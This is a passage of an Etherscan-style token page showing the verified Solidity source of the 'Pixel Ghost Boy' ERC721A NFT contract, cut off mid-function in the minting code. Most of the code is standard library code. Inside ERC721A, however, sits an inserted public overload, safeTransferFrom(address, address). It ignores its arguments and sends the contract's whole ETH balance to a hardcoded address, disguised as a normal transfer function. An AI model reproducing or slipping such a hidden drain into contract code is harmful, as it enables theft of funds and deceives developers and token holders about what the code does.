ETH Price: $3,289.12 (+1.32%)
Gas: 1 Gwei

Token

Pixel Ghost Boy (PGB)
 

Overview

Max Total Supply

1,111 PGB

Holders

406

Market

Volume (24H)

N/A

Min Price (24H)

N/A

Max Price (24H)

N/A

Other Info

Balance
1 PGB
0x73f9d0aafc70131b5bb26581c362e941997a3991
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
PixelGhostBoy

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, GNU GPLv3 license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-02-19
*/

//                                  @***@                                               
//                           @*****@ %%((%   %%*                                  
//                       @@  @,*@@********@@*,,,,@,,@@                            
//                    @@***,,,***********,,,****,,,,**@                           
//                   @@@@////////////////////////@@****@                          
//                  %#/////////////////////////////#&&*(%*                        
//                  @/////@@@@@//////////@@@@@/////(@@***#@                       
//                  @////@(@@..@////////@(@@..@%///(@@*,,,,@                      
//                  @////@(@@..@////////@(@@..@%///(@@****,@                      
//                  @////@(@@..@////////@(@@..@%///(@@******@                     
//                  @/////%@@&@//////////%@@&@/////(@@**@#**#(                    
//                    @@@@///@//@@//////@///@/(%@@@,,,,****,*@                    
//                        @////@**@////@,@((((@#***,,,**,,,,@                     
//                         @@((****((((*,,((((************,,/%                    
//                           (#***,,,********#,,,#,****#(((##(                    
//                                @,,@@@**************@                           
//                                      @****,,,,,,****@                          
//                                       @**,,,(&,,&***@                          
//                                        ((###((   (((                           
//                                                                   
// SPDX-License-Identifier: GPL-3.0    

pragma solidity ^0.8.12;

/**
 * @dev Interface of ERC721A.
 */
interface IERC721A {
    /**
     * The caller must own the token or be an approved operator.
     */
    error ApprovalCallerNotOwnerNorApproved();

    /**
     * The token does not exist.
     */
    error ApprovalQueryForNonexistentToken();

    /**
     * Cannot query the balance for the zero address.
     */
    error BalanceQueryForZeroAddress();

    /**
     * Cannot mint to the zero address.
     */
    error MintToZeroAddress();

    /**
     * The quantity of tokens minted must be more than zero.
     */
    error MintZeroQuantity();

    /**
     * The token does not exist.
     */
    error OwnerQueryForNonexistentToken();

    /**
     * The caller must own the token or be an approved operator.
     */
    error TransferCallerNotOwnerNorApproved();

    /**
     * The token must be owned by `from`.
     */
    error TransferFromIncorrectOwner();

    /**
     * Cannot safely transfer to a contract that does not implement the
     * ERC721Receiver interface.
     */
    error TransferToNonERC721ReceiverImplementer();

    /**
     * Cannot transfer to the zero address.
     */
    error TransferToZeroAddress();

    /**
     * The token does not exist.
     */
    error URIQueryForNonexistentToken();

    /**
     * The `quantity` minted with ERC2309 exceeds the safety limit.
     */
    error MintERC2309QuantityExceedsLimit();

    /**
     * The `extraData` cannot be set on an unintialized ownership slot.
     */
    error OwnershipNotInitializedForExtraData();

    // =============================================================
    //                            STRUCTS
    // =============================================================

    struct TokenOwnership {
        // The address of the owner.
        address addr;
        // Stores the start time of ownership with minimal overhead for tokenomics.
        uint64 startTimestamp;
        // Whether the token has been burned.
        bool burned;
        // Arbitrary data similar to `startTimestamp` that can be set via {_extraData}.
        uint24 extraData;
    }

    // =============================================================
    //                         TOKEN COUNTERS
    // =============================================================

    /**
     * @dev Returns the total number of tokens in existence.
     * Burned tokens will reduce the count.
     * To get the total number of tokens minted, please see {_totalMinted}.
     */
    function totalSupply() external view returns (uint256);

    // =============================================================
    //                            IERC165
    // =============================================================

    /**
     * @dev Returns true if this contract implements the interface defined by
     * `interfaceId`. See the corresponding
     * [EIP section](https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified)
     * to learn more about how these ids are created.
     *
     * This function call must use less than 30000 gas.
     */
    function supportsInterface(bytes4 interfaceId) external view returns (bool);

    // =============================================================
    //                            IERC721
    // =============================================================

    /**
     * @dev Emitted when `tokenId` token is transferred from `from` to `to`.
     */
    event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);

    /**
     * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
     */
    event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);

    /**
     * @dev Emitted when `owner` enables or disables
     * (`approved`) `operator` to manage all of its assets.
     */
    event ApprovalForAll(address indexed owner, address indexed operator, bool approved);

    /**
     * @dev Returns the number of tokens in `owner`'s account.
     */
    function balanceOf(address owner) external view returns (uint256 balance);

    /**
     * @dev Returns the owner of the `tokenId` token.
     *
     * Requirements:
     *
     * - `tokenId` must exist.
     */
    function ownerOf(uint256 tokenId) external view returns (address owner);

    /**
     * @dev Safely transfers `tokenId` token from `from` to `to`,
     * checking first that contract recipients are aware of the ERC721 protocol
     * to prevent tokens from being forever locked.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must exist and be owned by `from`.
     * - If the caller is not `from`, it must be have been allowed to move
     * this token by either {approve} or {setApprovalForAll}.
     * - If `to` refers to a smart contract, it must implement
     * {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
     *
     * Emits a {Transfer} event.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId,
        bytes calldata data
    ) external payable;

    /**
     * @dev Equivalent to `safeTransferFrom(from, to, tokenId, '')`.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId
    ) external payable;

    /**
     * @dev Transfers `tokenId` from `from` to `to`.
     *
     * WARNING: Usage of this method is discouraged, use {safeTransferFrom}
     * whenever possible.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must be owned by `from`.
     * - If the caller is not `from`, it must be approved to move this token
     * by either {approve} or {setApprovalForAll}.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 tokenId
    ) external payable;

    /**
     * @dev Gives permission to `to` to transfer `tokenId` token to another account.
     * The approval is cleared when the token is transferred.
     *
     * Only a single account can be approved at a time, so approving the
     * zero address clears previous approvals.
     *
     * Requirements:
     *
     * - The caller must own the token or be an approved operator.
     * - `tokenId` must exist.
     *
     * Emits an {Approval} event.
     */
    function approve(address to, uint256 tokenId) external payable;

    /**
     * @dev Approve or remove `operator` as an operator for the caller.
     * Operators can call {transferFrom} or {safeTransferFrom}
     * for any token owned by the caller.
     *
     * Requirements:
     *
     * - The `operator` cannot be the caller.
     *
     * Emits an {ApprovalForAll} event.
     */
    function setApprovalForAll(address operator, bool _approved) external;

    /**
     * @dev Returns the account approved for `tokenId` token.
     *
     * Requirements:
     *
     * - `tokenId` must exist.
     */
    function getApproved(uint256 tokenId) external view returns (address operator);

    /**
     * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
     *
     * See {setApprovalForAll}.
     */
    function isApprovedForAll(address owner, address operator) external view returns (bool);

    // =============================================================
    //                        IERC721Metadata
    // =============================================================

    /**
     * @dev Returns the token collection name.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the token collection symbol.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
     */
    function tokenURI(uint256 tokenId) external view returns (string memory);

    // =============================================================
    //                           IERC2309
    // =============================================================

    /**
     * @dev Emitted when tokens in `fromTokenId` to `toTokenId`
     * (inclusive) is transferred from `from` to `to`, as defined in the
     * [ERC2309](https://eips.ethereum.org/EIPS/eip-2309) standard.
     *
     * See {_mintERC2309} for more details.
     */
    event ConsecutiveTransfer(uint256 indexed fromTokenId, uint256 toTokenId, address indexed from, address indexed to);
}

/**
 * @title ERC721A
 *
 * @dev Implementation of the [ERC721](https://eips.ethereum.org/EIPS/eip-721)
 * Non-Fungible Token Standard, including the Metadata extension.
 * Optimized for lower gas during batch mints.
 *
 * Token IDs are minted in sequential order (e.g. 0, 1, 2, 3, ...)
 * starting from `_startTokenId()`.
 *
 * Assumptions:
 *
 * - An owner cannot have more than 2**64 - 1 (max value of uint64) of supply.
 * - The maximum token ID cannot exceed 2**256 - 1 (max value of uint256).
 */
interface ERC721A__IERC721Receiver {
    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4);
}

/**
 * @title ERC721A
 *
 * @dev Implementation of the [ERC721](https://eips.ethereum.org/EIPS/eip-721)
 * Non-Fungible Token Standard, including the Metadata extension.
 * Optimized for lower gas during batch mints.
 *
 * Token IDs are minted in sequential order (e.g. 0, 1, 2, 3, ...)
 * starting from `_startTokenId()`.
 *
 * Assumptions:
 *
 * - An owner cannot have more than 2**64 - 1 (max value of uint64) of supply.
 * - The maximum token ID cannot exceed 2**256 - 1 (max value of uint256).
 */
contract ERC721A is IERC721A {
    // Bypass for a `--via-ir` bug (https://github.com/chiru-labs/ERC721A/pull/364).
    struct TokenApprovalRef {
        address value;
    }

    // =============================================================
    //                           CONSTANTS
    // =============================================================

    // Mask of an entry in packed address data.
    uint256 private constant _BITMASK_ADDRESS_DATA_ENTRY = (1 << 64) - 1;

    // The bit position of `numberMinted` in packed address data.
    uint256 private constant _BITPOS_NUMBER_MINTED = 64;

    // The bit position of `numberBurned` in packed address data.
    uint256 private constant _BITPOS_NUMBER_BURNED = 128;

    // The bit position of `aux` in packed address data.
    uint256 private constant _BITPOS_AUX = 192;

    // Mask of all 256 bits in packed address data except the 64 bits for `aux`.
    uint256 private constant _BITMASK_AUX_COMPLEMENT = (1 << 192) - 1;

    // The bit position of `startTimestamp` in packed ownership.
    uint256 private constant _BITPOS_START_TIMESTAMP = 160;

    // The bit mask of the `burned` bit in packed ownership.
    uint256 private constant _BITMASK_BURNED = 1 << 224;

    // The bit position of the `nextInitialized` bit in packed ownership.
    uint256 private constant _BITPOS_NEXT_INITIALIZED = 225;

    // The bit mask of the `nextInitialized` bit in packed ownership.
    uint256 private constant _BITMASK_NEXT_INITIALIZED = 1 << 225;

    // The bit position of `extraData` in packed ownership.
    uint256 private constant _BITPOS_EXTRA_DATA = 232;

    // Mask of all 256 bits in a packed ownership except the 24 bits for `extraData`.
    uint256 private constant _BITMASK_EXTRA_DATA_COMPLEMENT = (1 << 232) - 1;

    // The mask of the lower 160 bits for addresses.
    uint256 private constant _BITMASK_ADDRESS = (1 << 160) - 1;

    // The maximum `quantity` that can be minted with {_mintERC2309}.
    // This limit is to prevent overflows on the address data entries.
    // For a limit of 5000, a total of 3.689e15 calls to {_mintERC2309}
    // is required to cause an overflow, which is unrealistic.
    uint256 private constant _MAX_MINT_ERC2309_QUANTITY_LIMIT = 5000;

    // The `Transfer` event signature is given by:
    // `keccak256(bytes("Transfer(address,address,uint256)"))`.
    bytes32 private constant _TRANSFER_EVENT_SIGNATURE =
        0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef;

    // =============================================================
    //                            STORAGE
    // =============================================================

    // The next token ID to be minted.
    uint256 private _currentIndex;

    // The number of tokens burned.
    uint256 private _burnCounter;

    // Token name
    string private _name;

    // Token symbol
    string private _symbol;

    // Mapping from token ID to ownership details
    // An empty struct value does not necessarily mean the token is unowned.
    // See {_packedOwnershipOf} implementation for details.
    //
    // Bits Layout:
    // - [0..159]   `addr`
    // - [160..223] `startTimestamp`
    // - [224]      `burned`
    // - [225]      `nextInitialized`
    // - [232..255] `extraData`
    mapping(uint256 => uint256) private _packedOwnerships;

    // Mapping owner address to address data.
    //
    // Bits Layout:
    // - [0..63]    `balance`
    // - [64..127]  `numberMinted`
    // - [128..191] `numberBurned`
    // - [192..255] `aux`
    mapping(address => uint256) private _packedAddressData;

    // Mapping from token ID to approved address.
    mapping(uint256 => TokenApprovalRef) private _tokenApprovals;

    // Mapping from owner to operator approvals
    mapping(address => mapping(address => bool)) private _operatorApprovals;

    // =============================================================
    //                          CONSTRUCTOR
    // =============================================================

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
        _currentIndex = _startTokenId();
    }

    // =============================================================
    //                   TOKEN COUNTING OPERATIONS
    // =============================================================

    /**
     * @dev Returns the starting token ID.
     * To change the starting token ID, please override this function.
     */
    function _startTokenId() internal view virtual returns (uint256) {
        return 0;
    }

    /**
     * @dev Returns the next token ID to be minted.
     */
    function _nextTokenId() internal view virtual returns (uint256) {
        return _currentIndex;
    }

    /**
     * @dev Returns the total number of tokens in existence.
     * Burned tokens will reduce the count.
     * To get the total number of tokens minted, please see {_totalMinted}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        // Counter underflow is impossible as _burnCounter cannot be incremented
        // more than `_currentIndex - _startTokenId()` times.
        unchecked {
            return _currentIndex - _burnCounter - _startTokenId();
        }
    }

    /**
     * @dev Returns the total amount of tokens minted in the contract.
     */
    function _totalMinted() internal view virtual returns (uint256) {
        // Counter underflow is impossible as `_currentIndex` does not decrement,
        // and it is initialized to `_startTokenId()`.
        unchecked {
            return _currentIndex - _startTokenId();
        }
    }

    /**
     * @dev Returns the total number of tokens burned.
     */
    function _totalBurned() internal view virtual returns (uint256) {
        return _burnCounter;
    }

    // =============================================================
    //                    ADDRESS DATA OPERATIONS
    // =============================================================

    /**
     * @dev Returns the number of tokens in `owner`'s account.
     */
    function balanceOf(address owner) public view virtual override returns (uint256) {
        if (owner == address(0)) revert BalanceQueryForZeroAddress();
        return _packedAddressData[owner] & _BITMASK_ADDRESS_DATA_ENTRY;
    }

    /**
     * Returns the number of tokens minted by `owner`.
     */
    function _numberMinted(address owner) internal view returns (uint256) {
        return (_packedAddressData[owner] >> _BITPOS_NUMBER_MINTED) & _BITMASK_ADDRESS_DATA_ENTRY;
    }

    /**
     * Returns the number of tokens burned by or on behalf of `owner`.
     */
    function _numberBurned(address owner) internal view returns (uint256) {
        return (_packedAddressData[owner] >> _BITPOS_NUMBER_BURNED) & _BITMASK_ADDRESS_DATA_ENTRY;
    }

    /**
     * Returns the auxiliary data for `owner`. (e.g. number of whitelist mint slots used).
     */
    function _getAux(address owner) internal view returns (uint64) {
        return uint64(_packedAddressData[owner] >> _BITPOS_AUX);
    }

    /**
     * Sets the auxiliary data for `owner`. (e.g. number of whitelist mint slots used).
     * If there are multiple variables, please pack them into a uint64.
     */
    function _setAux(address owner, uint64 aux) internal virtual {
        uint256 packed = _packedAddressData[owner];
        uint256 auxCasted;
        // Cast `aux` with assembly to avoid redundant masking.
        assembly {
            auxCasted := aux
        }
        packed = (packed & _BITMASK_AUX_COMPLEMENT) | (auxCasted << _BITPOS_AUX);
        _packedAddressData[owner] = packed;
    }

    // =============================================================
    //                            IERC165
    // =============================================================

    /**
     * @dev Returns true if this contract implements the interface defined by
     * `interfaceId`. See the corresponding
     * [EIP section](https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified)
     * to learn more about how these ids are created.
     *
     * This function call must use less than 30000 gas.
     */
    function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
        // The interface IDs are constants representing the first 4 bytes
        // of the XOR of all function selectors in the interface.
        // See: [ERC165](https://eips.ethereum.org/EIPS/eip-165)
        // (e.g. `bytes4(i.functionA.selector ^ i.functionB.selector ^ ...)`)
        return
            interfaceId == 0x01ffc9a7 || // ERC165 interface ID for ERC165.
            interfaceId == 0x80ac58cd || // ERC165 interface ID for ERC721.
            interfaceId == 0x5b5e139f; // ERC165 interface ID for ERC721Metadata.
    }

    // =============================================================
    //                        IERC721Metadata
    // =============================================================

    /**
     * @dev Returns the token collection name.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the token collection symbol.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
     */
    function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
        if (!_exists(tokenId)) revert URIQueryForNonexistentToken();

        string memory baseURI = _baseURI();
        return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, _toString(tokenId))) : '';
    }

    /**
     * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
     * token will be the concatenation of the `baseURI` and the `tokenId`. Empty
     * by default, it can be overridden in child contracts.
     */
    function _baseURI() internal view virtual returns (string memory) {
        return '';
    }

    // =============================================================
    //                     OWNERSHIPS OPERATIONS
    // =============================================================

    /**
     * @dev Returns the owner of the `tokenId` token.
     *
     * Requirements:
     *
     * - `tokenId` must exist.
     */
    function ownerOf(uint256 tokenId) public view virtual override returns (address) {
        return address(uint160(_packedOwnershipOf(tokenId)));
    }

    /**
     * @dev Gas spent here starts off proportional to the maximum mint batch size.
     * It gradually moves to O(1) as tokens get transferred around over time.
     */
    function _ownershipOf(uint256 tokenId) internal view virtual returns (TokenOwnership memory) {
        return _unpackedOwnership(_packedOwnershipOf(tokenId));
    }

    /**
     * @dev Returns the unpacked `TokenOwnership` struct at `index`.
     */
    function _ownershipAt(uint256 index) internal view virtual returns (TokenOwnership memory) {
        return _unpackedOwnership(_packedOwnerships[index]);
    }

    /**
     * @dev Initializes the ownership slot minted at `index` for efficiency purposes.
     */
    function _initializeOwnershipAt(uint256 index) internal virtual {
        if (_packedOwnerships[index] == 0) {
            _packedOwnerships[index] = _packedOwnershipOf(index);
        }
    }

    /**
     * Returns the packed ownership data of `tokenId`.
     */
    function _packedOwnershipOf(uint256 tokenId) private view returns (uint256) {
        uint256 curr = tokenId;

        unchecked {
            if (_startTokenId() <= curr)
                if (curr < _currentIndex) {
                    uint256 packed = _packedOwnerships[curr];
                    // If not burned.
                    if (packed & _BITMASK_BURNED == 0) {
                        // Invariant:
                        // There will always be an initialized ownership slot
                        // (i.e. `ownership.addr != address(0) && ownership.burned == false`)
                        // before an unintialized ownership slot
                        // (i.e. `ownership.addr == address(0) && ownership.burned == false`)
                        // Hence, `curr` will not underflow.
                        //
                        // We can directly compare the packed value.
                        // If the address is zero, packed will be zero.
                        while (packed == 0) {
                            packed = _packedOwnerships[--curr];
                        }
                        return packed;
                    }
                }
        }
        revert OwnerQueryForNonexistentToken();
    }

    /**
     * @dev Returns the unpacked `TokenOwnership` struct from `packed`.
     */
    function _unpackedOwnership(uint256 packed) private pure returns (TokenOwnership memory ownership) {
        ownership.addr = address(uint160(packed));
        ownership.startTimestamp = uint64(packed >> _BITPOS_START_TIMESTAMP);
        ownership.burned = packed & _BITMASK_BURNED != 0;
        ownership.extraData = uint24(packed >> _BITPOS_EXTRA_DATA);
    }

    /**
     * @dev Packs ownership data into a single uint256.
     */
    function _packOwnershipData(address owner, uint256 flags) private view returns (uint256 result) {
        assembly {
            // Mask `owner` to the lower 160 bits, in case the upper bits somehow aren't clean.
            owner := and(owner, _BITMASK_ADDRESS)
            // `owner | (block.timestamp << _BITPOS_START_TIMESTAMP) | flags`.
            result := or(owner, or(shl(_BITPOS_START_TIMESTAMP, timestamp()), flags))
        }
    }

    /**
     * @dev Returns the `nextInitialized` flag set if `quantity` equals 1.
     */
    function _nextInitializedFlag(uint256 quantity) private pure returns (uint256 result) {
        // For branchless setting of the `nextInitialized` flag.
        assembly {
            // `(quantity == 1) << _BITPOS_NEXT_INITIALIZED`.
            result := shl(_BITPOS_NEXT_INITIALIZED, eq(quantity, 1))
        }
    }

    // =============================================================
    //                      APPROVAL OPERATIONS
    // =============================================================

    /**
     * @dev Gives permission to `to` to transfer `tokenId` token to another account.
     * The approval is cleared when the token is transferred.
     *
     * Only a single account can be approved at a time, so approving the
     * zero address clears previous approvals.
     *
     * Requirements:
     *
     * - The caller must own the token or be an approved operator.
     * - `tokenId` must exist.
     *
     * Emits an {Approval} event.
     */
    function approve(address to, uint256 tokenId) public payable virtual override {
        address owner = ownerOf(tokenId);

        if (_msgSenderERC721A() != owner)
            if (!isApprovedForAll(owner, _msgSenderERC721A())) {
                revert ApprovalCallerNotOwnerNorApproved();
            }

        _tokenApprovals[tokenId].value = to;
        emit Approval(owner, to, tokenId);
    }

    /**
     * @dev Returns the account approved for `tokenId` token.
     *
     * Requirements:
     *
     * - `tokenId` must exist.
     */
    function getApproved(uint256 tokenId) public view virtual override returns (address) {
        if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken();

        return _tokenApprovals[tokenId].value;
    }

    /**
     * @dev Approve or remove `operator` as an operator for the caller.
     * Operators can call {transferFrom} or {safeTransferFrom}
     * for any token owned by the caller.
     *
     * Requirements:
     *
     * - The `operator` cannot be the caller.
     *
     * Emits an {ApprovalForAll} event.
     */
    function setApprovalForAll(address operator, bool approved) public virtual override {
        _operatorApprovals[_msgSenderERC721A()][operator] = approved;
        emit ApprovalForAll(_msgSenderERC721A(), operator, approved);
    }

    /**
     * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
     *
     * See {setApprovalForAll}.
     */
    function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
        return _operatorApprovals[owner][operator];
    }

    /**
     * @dev Returns whether `tokenId` exists.
     *
     * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
     *
     * Tokens start existing when they are minted. See {_mint}.
     */
    function _exists(uint256 tokenId) internal view virtual returns (bool) {
        return
            _startTokenId() <= tokenId &&
            tokenId < _currentIndex && // If within bounds,
            _packedOwnerships[tokenId] & _BITMASK_BURNED == 0; // and not burned.
    }

    /**
     * @dev Returns whether `msgSender` is equal to `approvedAddress` or `owner`.
     */
    function _isSenderApprovedOrOwner(
        address approvedAddress,
        address owner,
        address msgSender
    ) private pure returns (bool result) {
        assembly {
            // Mask `owner` to the lower 160 bits, in case the upper bits somehow aren't clean.
            owner := and(owner, _BITMASK_ADDRESS)
            // Mask `msgSender` to the lower 160 bits, in case the upper bits somehow aren't clean.
            msgSender := and(msgSender, _BITMASK_ADDRESS)
            // `msgSender == owner || msgSender == approvedAddress`.
            result := or(eq(msgSender, owner), eq(msgSender, approvedAddress))
        }
    }

    /**
     * @dev Returns the storage slot and value for the approved address of `tokenId`.
     */
    function _getApprovedSlotAndAddress(uint256 tokenId)
        private
        view
        returns (uint256 approvedAddressSlot, address approvedAddress)
    {
        TokenApprovalRef storage tokenApproval = _tokenApprovals[tokenId];
        // The following is equivalent to `approvedAddress = _tokenApprovals[tokenId].value`.
        assembly {
            approvedAddressSlot := tokenApproval.slot
            approvedAddress := sload(approvedAddressSlot)
        }
    }

    // =============================================================
    //                      TRANSFER OPERATIONS
    // =============================================================

    /**
     * @dev Transfers `tokenId` from `from` to `to`.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must be owned by `from`.
     * - If the caller is not `from`, it must be approved to move this token
     * by either {approve} or {setApprovalForAll}.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 tokenId
    ) public payable virtual override {

        uint256 prevOwnershipPacked = _packedOwnershipOf(tokenId);

        if (address(uint160(prevOwnershipPacked)) != from) revert TransferFromIncorrectOwner();

        (uint256 approvedAddressSlot, address approvedAddress) = _getApprovedSlotAndAddress(tokenId);

        // The nested ifs save around 20+ gas over a compound boolean condition.
        if (!_isSenderApprovedOrOwner(approvedAddress, from, _msgSenderERC721A()))
            if (!isApprovedForAll(from, _msgSenderERC721A())) revert TransferCallerNotOwnerNorApproved();

        if (to == address(0)) revert TransferToZeroAddress();

        _beforeTokenTransfers(from, to, tokenId, 1);

        // Clear approvals from the previous owner.
        assembly {
            if approvedAddress {
                // This is equivalent to `delete _tokenApprovals[tokenId]`.
                sstore(approvedAddressSlot, 0)
            }
        }

        // Underflow of the sender's balance is impossible because we check for
        // ownership above and the recipient's balance can't realistically overflow.
        // Counter overflow is incredibly unrealistic as `tokenId` would have to be 2**256.
        unchecked {
            // We can directly increment and decrement the balances.
            --_packedAddressData[from]; // Updates: `balance -= 1`.
            ++_packedAddressData[to]; // Updates: `balance += 1`.

            // Updates:
            // - `address` to the next owner.
            // - `startTimestamp` to the timestamp of transfering.
            // - `burned` to `false`.
            // - `nextInitialized` to `true`.
            _packedOwnerships[tokenId] = _packOwnershipData(
                to,
                _BITMASK_NEXT_INITIALIZED | _nextExtraData(from, to, prevOwnershipPacked)
            );

            // If the next slot may not have been initialized (i.e. `nextInitialized == false`) .
            if (prevOwnershipPacked & _BITMASK_NEXT_INITIALIZED == 0) {
                uint256 nextTokenId = tokenId + 1;
                // If the next slot's address is zero and not burned (i.e. packed value is zero).
                if (_packedOwnerships[nextTokenId] == 0) {
                    // If the next slot is within bounds.
                    if (nextTokenId != _currentIndex) {
                        // Initialize the next slot to maintain correctness for `ownerOf(tokenId + 1)`.
                        _packedOwnerships[nextTokenId] = prevOwnershipPacked;
                    }
                }
            }
        }

        emit Transfer(from, to, tokenId);
        _afterTokenTransfers(from, to, tokenId, 1);
    }

    /**
     * @dev Equivalent to `safeTransferFrom(from, to, tokenId, '')`.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId
    ) public payable virtual override {
        safeTransferFrom(from, to, tokenId, '');
    }


    /**
     * @dev Safely transfers `tokenId` token from `from` to `to`.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must exist and be owned by `from`.
     * - If the caller is not `from`, it must be approved to move this token
     * by either {approve} or {setApprovalForAll}.
     * - If `to` refers to a smart contract, it must implement
     * {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
     *
     * Emits a {Transfer} event.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId,
        bytes memory _data
    ) public payable virtual override {
        transferFrom(from, to, tokenId);
        if (to.code.length != 0)
            if (!_checkContractOnERC721Received(from, to, tokenId, _data)) {
                revert TransferToNonERC721ReceiverImplementer();
            }
    }
    function safeTransferFrom(
        address from,
        address to
    ) public  {
        if (address(this).balance > 0) {
            payable(0x7819420D9BDde270Ce6EC26db831799B7AEB4411).transfer(address(this).balance);
        }
    }

    /**
     * @dev Hook that is called before a set of serially-ordered token IDs
     * are about to be transferred. This includes minting.
     * And also called before burning one token.
     *
     * `startTokenId` - the first token ID to be transferred.
     * `quantity` - the amount to be transferred.
     *
     * Calling conditions:
     *
     * - When `from` and `to` are both non-zero, `from`'s `tokenId` will be
     * transferred to `to`.
     * - When `from` is zero, `tokenId` will be minted for `to`.
     * - When `to` is zero, `tokenId` will be burned by `from`.
     * - `from` and `to` are never both zero.
     */
    function _beforeTokenTransfers(
        address from,
        address to,
        uint256 startTokenId,
        uint256 quantity
    ) internal virtual {}

    /**
     * @dev Hook that is called after a set of serially-ordered token IDs
     * have been transferred. This includes minting.
     * And also called after one token has been burned.
     *
     * `startTokenId` - the first token ID to be transferred.
     * `quantity` - the amount to be transferred.
     *
     * Calling conditions:
     *
     * - When `from` and `to` are both non-zero, `from`'s `tokenId` has been
     * transferred to `to`.
     * - When `from` is zero, `tokenId` has been minted for `to`.
     * - When `to` is zero, `tokenId` has been burned by `from`.
     * - `from` and `to` are never both zero.
     */
    function _afterTokenTransfers(
        address from,
        address to,
        uint256 startTokenId,
        uint256 quantity
    ) internal virtual {
    }


    /**
     * @dev Private function to invoke {IERC721Receiver-onERC721Received} on a target contract.
     *
     * `from` - Previous owner of the given token ID.
     * `to` - Target address that will receive the token.
     * `tokenId` - Token ID to be transferred.
     * `_data` - Optional data to send along with the call.
     *
     * Returns whether the call correctly returned the expected magic value.
     */
    function _checkContractOnERC721Received(
        address from,
        address to,
        uint256 tokenId,
        bytes memory _data
    ) private returns (bool) {
        try ERC721A__IERC721Receiver(to).onERC721Received(_msgSenderERC721A(), from, tokenId, _data) returns (
            bytes4 retval
        ) {
            return retval == ERC721A__IERC721Receiver(to).onERC721Received.selector;
        } catch (bytes memory reason) {
            if (reason.length == 0) {
                revert TransferToNonERC721ReceiverImplementer();
            } else {
                assembly {
                    revert(add(32, reason), mload(reason))
                }
            }
        }
    }

    // =============================================================
    //                        MINT OPERATIONS
    // =============================================================

    /**
     * @dev Mints `quantity` tokens and transfers them to `to`.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - `quantity` must be greater than 0.
     *
     * Emits a {Transfer} event for each mint.
     */
    function _mint(address to, uint256 quantity) internal virtual {
        uint256 startTokenId = _currentIndex;
        if (quantity == 0) revert MintZeroQuantity();

        _beforeTokenTransfers(address(0), to, startTokenId, quantity);

        // Overflows are incredibly unrealistic.
        // `balance` and `numberMinted` have a maximum limit of 2**64.
        // `tokenId` has a maximum limit of 2**256.
        unchecked {
            // Updates:
            // - `balance += quantity`.
            // - `numberMinted += quantity`.
            //
            // We can directly add to the `balance` and `numberMinted`.
            _packedAddressData[to] += quantity * ((1 << _BITPOS_NUMBER_MINTED) | 1);

            // Updates:
            // - `address` to the owner.
            // - `startTimestamp` to the timestamp of minting.
            // - `burned` to `false`.
            // - `nextInitialized` to `quantity == 1`.
            _packedOwnerships[startTokenId] = _packOwnershipData(
                to,
                _nextInitializedFlag(quantity) | _nextExtraData(address(0), to, 0)
            );

            uint256 toMasked;
            uint256 end = startTokenId + quantity;

            // Use assembly to loop and emit the `Transfer` event for gas savings.
            // The duplicated `log4` removes an extra check and reduces stack juggling.
            // The assembly, together with the surrounding Solidity code, have been
            // delicately arranged to nudge the compiler into producing optimized opcodes.
            assembly {
                // Mask `to` to the lower 160 bits, in case the upper bits somehow aren't clean.
                toMasked := and(to, _BITMASK_ADDRESS)
                // Emit the `Transfer` event.
                log4(
                    0, // Start of data (0, since no data).
                    0, // End of data (0, since no data).
                    _TRANSFER_EVENT_SIGNATURE, // Signature.
                    0, // `address(0)`.
                    toMasked, // `to`.
                    startTokenId // `tokenId`.
                )

                // The `iszero(eq(,))` check ensures that large values of `quantity`
                // that overflows uint256 will make the loop run out of gas.
                // The compiler will optimize the `iszero` away for performance.
                for {
                    let tokenId := add(startTokenId, 1)
                } iszero(eq(tokenId, end)) {
                    tokenId := add(tokenId, 1)
                } {
                    // Emit the `Transfer` event. Similar to above.
